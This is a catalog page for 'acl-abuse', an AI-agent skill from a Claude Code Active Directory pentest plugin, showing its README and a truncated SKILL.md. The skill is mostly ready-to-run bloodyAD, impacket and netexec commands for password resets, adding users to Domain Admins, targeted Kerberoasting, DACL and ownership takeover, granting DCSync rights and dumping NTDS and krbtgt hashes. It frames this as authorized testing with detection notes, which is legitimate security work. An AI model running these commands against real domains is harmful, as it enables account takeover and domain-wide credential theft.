⏳ This skill is pending AI review.

Scores will appear once the review pipeline completes.

v0.1.0

acl-abuse

adscanpro@adscanpro⭐ 216 stars· last commit 2mo ago· 0 open issues

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path.

Choose how to use this skill

You do not need every option. Choose the path your AI client supports. The stable page stays the same; versioned files are immutable.

1. Native installer

This listing has no registered native installer command. Use the complete package or source fallback below, depending on what your client supports.

Do not guess an installer command or replace an existing version without reviewing the diff.

2. Complete package recommended

Download the ZIP when available. It includes SKILL.md plus the references, security notes and version metadata.

No complete ProSkills package is published for this listing yet.

3. Prompt-only

Copy the prompt above when the agent can read the stable page or when you want to adopt the workflow without installing a skill.

Need only the instruction file?

Download SKILL.md only if your client requires a single file. The complete ZIP is safer for a full installation because it preserves the references and release context.

No path installs or executes anything by itself. Your agent still needs access to the project files. Before updating, compare the installed version and review the diff.

—/10

// RATINGS

⭐GitHub Stars
⭐⭐⭐ 216 on GitHubGitHub ↗

Popular

🟢ProSkills Score
—
📍

Not yet listed on ClawHub or SkillsMP

// README

Claude-AD

Active Directory pentest methodology for Claude Code.

License: MIT Claude Code plugin Version Techniques

Skills, agents and commands that give Claude the playbook for an internal Active Directory assessment: the phase order, the environment constraints that break your tooling, the telemetry each technique leaves behind, and how a finding maps to a compliance control. It drives standard tooling (netexec, impacket, certipy, bloodyAD, BloodHound CE). You still run the engagement; Claude carries the method.


What this is

Every AD assessment follows the same spine: map before you exploit, harvest the easy credentials before you spray, collect the graph before you reason about paths. That spine, plus the hundred small constraints a hardened domain throws at you (NTLM disabled, AES-only Kerberos, LDAP channel binding, SPNs that must be FQDNs), is what separates an operator who finishes the engagement from one who spends a day debugging invalidCredentials.

Claude-AD encodes that method as Claude Code skills so Claude runs the standard tools in the right order, reads the environment correctly, and tells you what each step will look like to a defender.

It covers:

  • Methodology: the setup → collection → exploitation → post order, and why each step comes when it does.
  • Environment constraints: NTLM/Kerberos fallback, AES-only, LDAP signing and channel binding, clock skew, the FQDN-vs-short SPN trap, Protected Users, LAPS, gMSA, MachineAccountQuota.
  • OPSEC and telemetry: the Windows Event IDs each technique generates, what triggers an MDI alert, what a SOC will see.
  • Techniques: Kerberoasting and AS-REP roasting, ADCS ESC1 through ESC17, ACL abuse (GenericAll / WriteDACL / replication rights), coercion and NTLM relay, delegation abuse. Each one with the standard command, the MITRE ID, the detection events, and the fix.
  • Conceptual compliance mapping: which control family a technique touches in DORA, NIS2 and ENS.

It orchestrates third-party tools. BloodHound CE (Apache-2.0), impacket, certipy, netexec and bloodyAD do the work; Claude-AD is the method that drives them.

Install

Claude-AD is a Claude Code plugin. From inside Claude Code:

/plugin marketplace add ADScanPro/Claude-AD
/plugin install claude-ad@claude-ad

The first line registers this repo as a marketplace; the second installs the plugin. Once installed, the skills load automatically when you work on an AD engagement, and the commands (/ad-scope, /ad-recon, /ad-attack-paths) are available.

Layout

Claude-AD/
├── skills/
│   ├── ad-methodology/          # phase order and why
│   ├── ad-environment-constraints/  # what breaks your tooling in a hardened domain
│   ├── ad-opsec-telemetry/      # Event IDs and MDI alerts per technique
│   ├── kerberos-attacks/        # Kerberoasting, AS-REP, delegation
│   ├── adcs-attacks/            # ESC1-ESC17 with certipy
│   ├── acl-abuse/               # GenericAll, WriteDACL, replication rights
│   ├── coercion-ntlm-relay/     # PetitPotam/PrinterBug/DFSCoerce + ntlmrelayx
│   └── compliance-mapping/      # conceptual technique -> DORA/NIS2/ENS control
├── agents/
│   ├── ad-enumerator.md         # runs collection with standard tooling
│   ├── ad-attack-planner.md     # reasons low-priv -> Domain Admin paths
│   └── ad-exploit-operator.md   # executes one step, with a human gate
└── commands/
    ├── ad-scope.md
    ├── ad-recon.md
    └── ad-attack-paths.md

Scope and ethics

This is for authorized engagements only: your own lab, a domain you are contracted to test, a CTF. The exploitation agents ask for confirmation before any action that modifies the directory (a password reset, a group add, an RBCD write), and note where rollback applies. Use it where you have permission to.

Where Claude-AD ends and ADscan begins

Claude-AD gives you the method. It tells Claude what to run, in what order, what each technique looks like on the wire, and which compliance control it touches. You still drive every tool by hand and read every result yourself.

ADscan is the engine. It runs the whole chain from a low-privilege user to Domain Admin on its own, on-prem, with guardrails and rollback, and turns the result into a report with control IDs a DORA, NIS2 or ENS auditor will accept. Where this repo hands Claude the playbook, ADscan is the tool that executes it end to end and writes the evidence.

ADscan is free and source-available. If the manual method here is useful and you want it run and mapped for you, that is what it is for.

Prior art and references

Claude-AD stands on the shoulders of the community. The techniques it encodes are documented in depth at The Hacker Recipes, the reference every skill here points back to for exact syntax. It sits alongside the growing set of Claude Code security collections (Claude-OSINT, Claude-BugHunter, claude-pentest), filling the Active-Directory-internal gap those bundles leave open. The tooling it drives (BloodHound CE, impacket, certipy, netexec, bloodyAD) is the work of their respective authors.

Contributing

New techniques, sharper detection guidance, corrections to the compliance mapping: open an issue or a PR. Keep it AD-internal and keep the commands real.

License

MIT. See LICENSE. ADscan itself is a separate product under the Business Source License 1.1 (source-available).


Keywords: Active Directory penetration testing · Claude Code skills · red team · Kerberoasting · AS-REP roasting · ADCS ESC1-ESC17 · DCSync · ACL abuse · NTLM relay & coercion (PetitPotam, PrinterBug, DFSCoerce) · Kerberos delegation · BloodHound CE attack paths · OPSEC & MDI telemetry · DORA / NIS2 / ENS compliance mapping · netexec · impacket · certipy · bloodyAD.

// HOW IT'S BUILT

// FILES

2 files shipped with this skill. Inline text is the catalog copy. The upstream link is the source repository.

  • skills/acl-abuse/SKILL.md7.8 KBupstream ↗
    ---
    name: acl-abuse
    description: Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication rights via DS-Replication-Get-Changes-All). Use when BloodHound CE shows an outbound control edge from a principal you own toward a higher-value object, and you want the exact bloodyAD/impacket command to weaponize that ACE, plus detection and remediation. DCSync is covered here strictly as a post-compromise technique, not a user entry path.
    ---
    
    # ACL Abuse
    
    Active Directory permissions are a graph. A single misconfigured Access Control Entry (ACE), say a low-priv user with `GenericAll` over a group, `WriteDacl` over a computer, or `WriteOwner` over an OU, is a directed edge you can walk from where you are toward Domain Admin. This skill turns those edges into concrete commands with **bloodyAD** and **impacket**, after **BloodHound CE** (Apache-2.0, genuinely open source) has drawn the path.
    
    **Find the paths first (BloodHound CE).** Collect with a standard collector, import into BloodHound CE, and look at the outbound control edges from your owned principal: `GenericAll`, `GenericWrite`, `WriteDacl`, `Owns`/`WriteOwner`, `AddMember`, `ForceChangePassword`, `AllExtendedRights`, and `DCSync`. Pre-built queries like "Shortest paths from Owned principals" and "Find principals with DCSync rights" hand you the chain.
    
    Collect edges with a standard collector, for example:
    ```
    nxc ldap 10.0.0.10 -u user -p 'Password123' --bloodhound --collection All --dns-server 10.0.0.10
    ```
    or run `rusthound-ce` / SharpHound CE and import the ZIP into BloodHound CE.
    
    ---
    
    ## GenericAll
    
    **MITRE ATT&CK:** T1222 (Permission Modification) / T1098 (Account Manipulation)
    
    **What it is.** Full control over the target object. What you do with it depends on the target type:
    - **Over a user:** reset their password (ForceChangePassword) or set an SPN and Kerberoast them (targeted roasting), or set `DONT_REQ_PREAUTH` and AS-REP roast.
    - **Over a group:** add yourself as a member (AddMember).
    - **Over a computer:** write RBCD (`msDS-AllowedToActOnBehalfOfOtherIdentity`) and impersonate (see the Kerberos skill).
    
    Reset a user's password:
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      set password TARGETUSER 'NewPass123!'
    ```
    
    Add yourself to a group:
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      add groupMember 'Domain Admins' owneduser
    ```
    
    Targeted Kerberoast (set an SPN you control, then roast, see Kerberos skill):
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      set object TARGETUSER servicePrincipalName -v 'fake/svc'
    GetUserSPNs.py -request-user TARGETUSER -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'
    ```
    
    ---
    
    ## GenericWrite
    
    **MITRE ATT&CK:** T1098
    
    **What it is.** Write non-protected attributes on the target. Enough to set an SPN (targeted Kerberoast), set `DONT_REQ_PREAUTH` (targeted AS-REP roast), or write `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer (RBCD). Not enough to reset the password directly on a user (that is ForceChangePassword / GenericAll).
    
    Set the preauth-disabled flag for a targeted AS-REP roast:
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      add uac TARGETUSER -f DONT_REQ_PREAUTH
    GetNPUsers.py -dc-ip 10.0.0.10 -request CORP.LOCAL/owneduser:'Password123'
    ```
    
    Write RBCD on a computer you can then S4U through:
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      add rbcd TARGET$ EVIL$
    ```
    
    ---
    
    ## ForceChangePassword
    
    **MITRE ATT&CK:** T1098
    
    **What it is.** The `User-Force-Change-Password` extended right lets you reset the target user's password without knowing the old one. Straight account takeover of that user.
    
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      set password TARGETUSER 'NewPass123!'
    ```
    impacket alternative:
    ```
    net rpc password TARGETUSER 'NewPass123!' -U 'CORP.LOCAL/owneduser%Password123' -S 10.0.0.10
    ```
    
    **Note:** resetting an in-use account is noisy and disruptive; it locks the real user out. Prefer targeted Kerberoast/AS-REP where the edge allows, and coordinate password resets with the client.
    
    ---
    
    ## AddMember
    
    **MITRE ATT&CK:** T1098
    
    **What it is.** Write access to a group's `member` attribute. Add a principal you control to a privileged group (a nested group that eventually reaches Domain Admins is just as good).
    
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      add groupMember 'Backup Operators' owneduser
    ```
    
    ---
    
    ## WriteDACL
    
    **MITRE ATT&CK:** T1222.001 (Windows Permission Modification)
    
    **What it is.** You can rewrite the target's DACL, so you grant *yourself* whatever ACE you want (up to full control) and then exploit that. The common escalation is to grant yourself the replication rights on the domain object (setting up DCSync, see below) or GenericAll on a user/group.
    
    Grant yourself an ACE on the target (impacket dacledit):
    ```
    dacledit.py -action write -rights FullControl -principal owneduser \
      -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
      -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'
    ```
    
    bloodyAD equivalent (grant a right on an object):
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      add genericAll 'CN=TargetUser,CN=Users,DC=corp,DC=local' owneduser
    ```
    
    ---
    
    ## WriteOwner / Owns
    
    **MITRE ATT&CK:** T1222.001
    
    **What it is.** You can set yourself as the *owner* of the target object. The owner can always rewrite the DACL, so WriteOwner chains into WriteDACL into full control. Two steps: take ownership, then grant yourself rights.
    
    Take ownership (impacket owneredit):
    ```
    owneredit.py -action write -new-owner owneduser \
      -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
      -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'
    ```
    Then grant yourself full control with dacledit (as above), then exploit as GenericAll.
    
    bloodyAD one-liner for ownership:
    ```
    bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
      set owner 'CN=TargetUser,CN=Users,DC=corp,DC=local' owneduser
    ```
    
    ---
    
    ## Replication rights → DCSync (POST-COMPROMISE ONLY)
    
    **MITRE ATT&CK:** T1003.006 (OS Credential Dumping: DCSync)
    
    **Frame this correctly.** DCSync is **not a user entry path**. It is a post-compromise credential-extraction technique performed by a principal that *already holds* the directory replication extended rights, `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All`, on the domain object. In a healthy domain those rights belong only to Domain Controllers and to Domain/Enterprise Admins, so being able to DCSync normally means you are already Domain Admin (or the equivalent). It matters to ACL abuse only in one specific case: **a non-DC, non-admin principal has been mis-granted those replication rights**, usually as the *result* of a WriteDACL/WriteOwner chain above. In that case DCSync is the payoff of the ACL abuse, still executed after you have obtained (or granted yourself) the replication rights, never before.
    
    So the ACL entry point is the mis-granted right (or granting it to yourself via WriteDACL on the domain object); the DCSync itself is the follow-on.
    
    Grant the replication rights (only if you have WriteDACL on the domain head, the abusable misconfiguration):
    ```
    dacledit.py -action write -rights DCSync -principal owneduser \
      -target-dn 'DC=corp,DC=local' -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'
    ```
    
    Then, holding those rights, replicate secrets (impacket secretsdump):
    ```
    secretsdump.py -just-dc-user 'CORP\krbtgt' CORP.LOCAL/owneduser:'Password123'@10.0.0.10
    secretsdump.py -just-dc CORP.LOCAL/owneduser:'Password123'@10.0.0.10   # full dump
    ```
    netexec equivalent:
    ```
    nxc smb 10.0.0.10 -u owneduser -p 'Password123' --ntds
    ```
    
    Dumping `krbtgt` enables Golden Tickets; dumping the Adminis
  • README.mdupstream ↗

    Contents are not inlined in the catalog. Open the upstream file.

Plain-text copy, no login: /skill-bundles/adscanpro-claude-ad-skills-acl-abuse.md

// REPO STATS

216 stars
0 open issues
Last commit: 2mo ago